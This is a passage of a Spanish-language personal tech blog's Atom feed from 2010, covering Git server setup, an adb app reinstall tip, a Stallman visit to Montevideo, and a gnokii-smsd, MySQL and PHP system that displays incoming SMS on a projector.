servidor apache&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/apache2 restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y listo tenemos un servidor de git con interface web para ver la interface web tenemos que apuntar nuestro navegador a &lt;span class="Apple-style-span" style="color: lime;"&gt;http://ipdetuservidor/git/&lt;/span&gt; y para ver el log lo podemos ver con &lt;span class="Apple-style-span" style="color: lime;"&gt;tail -f /var/www/git-daemon/curren&lt;/span&gt;t&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-632461699797212341?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/632461699797212341/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/03/instalando-un-servidor-git.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/632461699797212341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/632461699797212341'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/03/instalando-un-servidor-git.html' title='Instalando un servidor Git'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3016734532204424384</id><published>2010-03-29T19:08:00.000-07:00</published><updated>2010-03-29T19:19:42.723-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rms'/><category scheme='http://www.blogger.com/atom/ns#' term='montevideolibre'/><title type='text'>Vuelve Richard Mathew Stallman a Montevideo</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://vpabogados.files.wordpress.com/2009/12/richard-stallman.jpg?w=300&amp;amp;h=225" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/thumb/b/b8/Rms_at_pitt.jpg/225px-Rms_at_pitt.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/thumb/7/79/Pepemujica2.jpg/220px-Pepemujica2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://upload.wikimedia.org/wikipedia/commons/thumb/7/79/Pepemujica2.jpg/220px-Pepemujica2.jpg" width="133" /&gt;&lt;/a&gt;&lt;img border="0" height="131" src="http://upload.wikimedia.org/wikipedia/commons/thumb/b/b8/Rms_at_pitt.jpg/225px-Rms_at_pitt.jpg" width="200" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si vuelve&amp;nbsp;nuevamente&amp;nbsp;&lt;a href="http://es.wikipedia.org/wiki/Richard_Stallman"&gt;RMS&lt;/a&gt; a &lt;a href="http://es.wikipedia.org/wiki/Montevideo"&gt;montevideo&lt;/a&gt; pero esta vez el motivo de su visita no es como en otras&amp;nbsp;ocasiones&amp;nbsp;para hacer su&amp;nbsp;evangelización&amp;nbsp;como de costumbre en su papel de San iGNUcio, sino para reunirse con nuestro principal mandatario &lt;a href="http://es.wikipedia.org/wiki/Jos%C3%A9_Mujica"&gt;José "Pepe" Mujica Cordano&lt;/a&gt;.&lt;/div&gt;Hasta ahora no hay muchos detalles pero se sabe que su&amp;nbsp;estadía&amp;nbsp;sera corta y puntual para reunirse con el presidente el&amp;nbsp;día&amp;nbsp;Lunes 5 de abril.&lt;br /&gt;Lo interesante es que van a estar cara a cara nuestro presidente y el presidente de la &lt;a href="http://www.fsf.org/"&gt;FSF&lt;/a&gt;. Interesante que&amp;nbsp;podrá&amp;nbsp;salir de esta&amp;nbsp;reunión&amp;nbsp;no?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3016734532204424384?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3016734532204424384/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/03/vuelve-richard-mathew-stallman.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3016734532204424384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3016734532204424384'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/03/vuelve-richard-mathew-stallman.html' title='Vuelve Richard Mathew Stallman a Montevideo'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2962147366725624724</id><published>2010-03-26T23:00:00.000-07:00</published><updated>2010-03-26T23:01:14.379-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android'/><category scheme='http://www.blogger.com/atom/ns#' term='adb'/><title type='text'>Instalando aplicaciones de android con Adb</title><content type='html'>Hoy intentando reinstalar una de las aplicaciones del android a travez del &lt;a href="http://developer.android.com/guide/developing/tools/adb.html"&gt;adb&lt;/a&gt;, me encontre con el siguiente mesaje de error:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#neuromancer:/home/daedalus/android-sdk-linux_86/tools# ./adb install ../../Downloads/Sipdroid-1.4.1pre.apk &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;487 KB/s (1418738 bytes in 2.840s)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;pkg: /data/local/tmp/Sipdroid-1.4.1pre.apk&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Failure [INSTALL_FAILED_ALREADY_EXISTS&lt;/span&gt;]&lt;br /&gt;&lt;br /&gt;Buscando encontre que es porque la aplicacion ya se encuentra instalada y hay que desinstalarla previamente para poder instalarla de nuevo asi que eso se soluciona con&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#./adb uninstall xxxx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#neuromancer:/home/daedalus/android-sdk-linux_86/tools# ./adb install -r ../../Downloads/Sipdroid-1.4.1pre.apk&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;487 KB/s (1418738 bytes in 2.843s)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;pkg: /data/local/tmp/Sipdroid-1.4.1pre.apk&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Success&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Todo en la misma linea nos garantiza que desinstala la&amp;nbsp;versión&amp;nbsp;anterior e instala la nueva:&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2962147366725624724?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2962147366725624724/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/03/instalando-aplicaciones-de-android-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2962147366725624724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2962147366725624724'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/03/instalando-aplicaciones-de-android-con.html' title='Instalando aplicaciones de android con Adb'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5263998956060754739</id><published>2010-03-23T12:33:00.000-07:00</published><updated>2010-03-29T19:28:53.589-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='humor'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Toilet</title><content type='html'>El vídeo esta muy cómico, retrata lo que algún día podría llegar a pasar, espero que no...&lt;br /&gt;&lt;br /&gt;&lt;object height="308" width="560"&gt;&lt;param name="movie" value="http://www.youtube.com/v/hrontojPWEE&amp;amp;hl=es_ES&amp;amp;fs=1&amp;amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/hrontojPWEE&amp;amp;hl=es_ES&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5263998956060754739?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5263998956060754739/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/03/google-toilet.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5263998956060754739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5263998956060754739'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/03/google-toilet.html' title='Google Toilet'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2336916558862453653</id><published>2010-03-18T11:23:00.000-07:00</published><updated>2010-03-19T21:22:37.879-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='smsd'/><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Mensajes SMS en Pantalla Gigante.</title><content type='html'>Decidí experimentar con un sistemita que permita mostrar en pantalla gigante con un proyector los sms que las persona envíen a un numero de celular.&lt;br /&gt;Para tener esto andando use un poco de software libre como siempre y una radio base telular &lt;a href="https://ericssong3x.com/"&gt;Ericcson G3x&lt;/a&gt;&amp;nbsp;como las de la foto.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/__2CpOkNZ4-k/S6RIkEYyBQI/AAAAAAAAASQ/GRqfsJoQAKA/s1600-h/2010-03-16+17.19.16.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/__2CpOkNZ4-k/S6RIkEYyBQI/AAAAAAAAASQ/GRqfsJoQAKA/s320/2010-03-16+17.19.16.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El setup fue muy sencillo conecte la radiobase telular por Usb a una pc Pentium III con &lt;a href="http://fedoraproject.org/es/"&gt;Fedora Core 12&lt;/a&gt; e instale el daemon &lt;a href="http://wiki.gnokii.org/index.php/SMSD"&gt;gnokii-smsd-mysql&lt;/a&gt; junto con el motor mysql.&lt;br /&gt;Todo esto tiene un funcionamiento muy simple, el daemon gnokii-smsd se encarga de conectarse al dispositivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/dev/ttyACM0&lt;/span&gt; y mediante comandos AT revisa el inbox de la radiobase telular y si cae algun mensaje lo&amp;nbsp;envía&amp;nbsp;a la tabla inbox de la base de datos smsd en el servidor mysql.&lt;br /&gt;&lt;br /&gt;Para instalar todo tipeamos:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#yum install gnokii-smsd-mysql mysql apache php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este es el contenido del archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/gnokiirc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[global]&lt;br /&gt;port = /dev/ttyACM0&lt;br /&gt;model = AT&lt;br /&gt;initlength = default&lt;br /&gt;connection = serial&lt;br /&gt;use_locking = no&lt;br /&gt;smsc_timeout = 10&lt;br /&gt;[xgnokii]&lt;br /&gt;allow_breakage = 0&lt;br /&gt;[gnokiid]&lt;br /&gt;bindir = /usr/sbin/&lt;br /&gt;[connect_script]&lt;br /&gt;TELEPHONE = 12345678&lt;br /&gt;[disconnect_script]&lt;br /&gt;[logging]&lt;br /&gt;debug = on&lt;br /&gt;rlpdebug = off&lt;br /&gt;xdebug = off&lt;br /&gt;[phone_fake]&lt;br /&gt;port = foobar&lt;br /&gt;model = fake&lt;br /&gt;connection = serial&lt;/div&gt;&lt;br /&gt;Contenido de: &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/sysconfig/gnokii-smsd&lt;/span&gt;&lt;br /&gt;&lt;div class="code"&gt;SMSD_OPTS="-u smsd -d smsd --host 127.0.0.1 -m mysql"&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Luego creamos la estructura de la base de datos en el mysql:&lt;br /&gt;Contenido de: &lt;span class="Apple-style-span" style="color: lime;"&gt;/usr/share/doc/gnokii-smsd-mysql-0.6.28/sms.tables.mysql.sql&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;CREATE DATABASE smsd;&lt;br /&gt;USE smsd;&lt;br /&gt;&lt;br /&gt;CREATE TABLE inbox (&lt;br /&gt;id int(10) unsigned NOT NULL auto_increment,&lt;br /&gt;number varchar(20) NOT NULL default '',&lt;br /&gt;smsdate datetime NOT NULL default '0000-00-00 00:00:00',&lt;br /&gt;insertdate timestamp DEFAULT CURRENT_TIMESTAMP,&lt;br /&gt;text text,&lt;br /&gt;phone tinyint(4),&lt;br /&gt;processed tinyint(4) NOT NULL default '0',&lt;br /&gt;PRIMARY KEY  (id)&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;CREATE TABLE outbox (&lt;br /&gt;id int(10) unsigned NOT NULL auto_increment,&lt;br /&gt;number varchar(20) NOT NULL default '',&lt;br /&gt;processed_date timestamp DEFAULT 0,&lt;br /&gt;insertdate timestamp DEFAULT CURRENT_TIMESTAMP,&lt;br /&gt;text varchar(160) default NULL,&lt;br /&gt;phone tinyint(4),&lt;br /&gt;processed tinyint(4) NOT NULL default '0',&lt;br /&gt;error tinyint(4) NOT NULL default '-1',&lt;br /&gt;dreport tinyint(4) NOT NULL default '0',&lt;br /&gt;not_before time NOT NULL default '00:00:00',&lt;br /&gt;not_after time  NOT NULL default '23:59:59',&lt;br /&gt;PRIMARY KEY  (id)&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;CREATE TABLE multipartinbox (&lt;br /&gt;id int(10) unsigned NOT NULL auto_increment,&lt;br /&gt;number varchar(20) NOT NULL default '',&lt;br /&gt;smsdate datetime NOT NULL default '0000-00-00 00:00:00',&lt;br /&gt;insertdate timestamp DEFAULT CURRENT_TIMESTAMP,&lt;br /&gt;text text,&lt;br /&gt;phone tinyint(4),&lt;br /&gt;processed tinyint(4) NOT NULL default '0',&lt;br /&gt;refnum int(8) default NULL,&lt;br /&gt;maxnum int(8) default NULL,&lt;br /&gt;curnum int(8) default NULL,&lt;br /&gt;PRIMARY KEY  (id)&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;CREATE INDEX outbox_processed_ix ON outbox (processed);&lt;br /&gt;GRANT SELECT, INSERT, UPDATE, DELETE ON smsd.* TO smsd@localhost;&lt;/div&gt;&lt;br /&gt;Para crear la estructura de la base de datos tenemos que ejecutar:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$mysql &amp;lt; sms.tables.mysql.sql&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego ejecutamos el daemon&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/sbin/chkconfig gnokii-smsd on&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/gnokii-smsd start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo instalamos httpd, php y php-mysql y lo arancamos&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/sbin/chkconfig httpd on&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/httpd start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo ultimo lo que hice fue un simple que se encarga de mostrar el contenido de la tabla inbox en una pagina web linda.&lt;br /&gt;&lt;br /&gt;Contenido de &lt;span class="Apple-style-span" style="color: lime;"&gt;/var/www/html/smsd/index.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&amp;gt;?php&lt;br /&gt;&lt;br /&gt;function load_badwords($filename){&lt;br /&gt;$fp = fopen($filename, "r"); &lt;br /&gt;$temp = strtolower(fread ($fp, filesize ($filename)));&lt;br /&gt;fclose ($fp); &lt;br /&gt;$datalines = explode ("\n", $temp);&lt;br /&gt;return $datalines;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function ReplaceBadWords($str, $bad_words, $replace_str){&lt;br /&gt;for ($x=0; $x &amp;lt; count($bad_words); $x++){&lt;br /&gt;$badword = $bad_words[$x];  $bl= strlen($badword);  $fixed=substr($badword,0,2) . str_repeat("*",$bl-2);    $str=str_replace($badword,$fixed,$str);&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;return $str;&
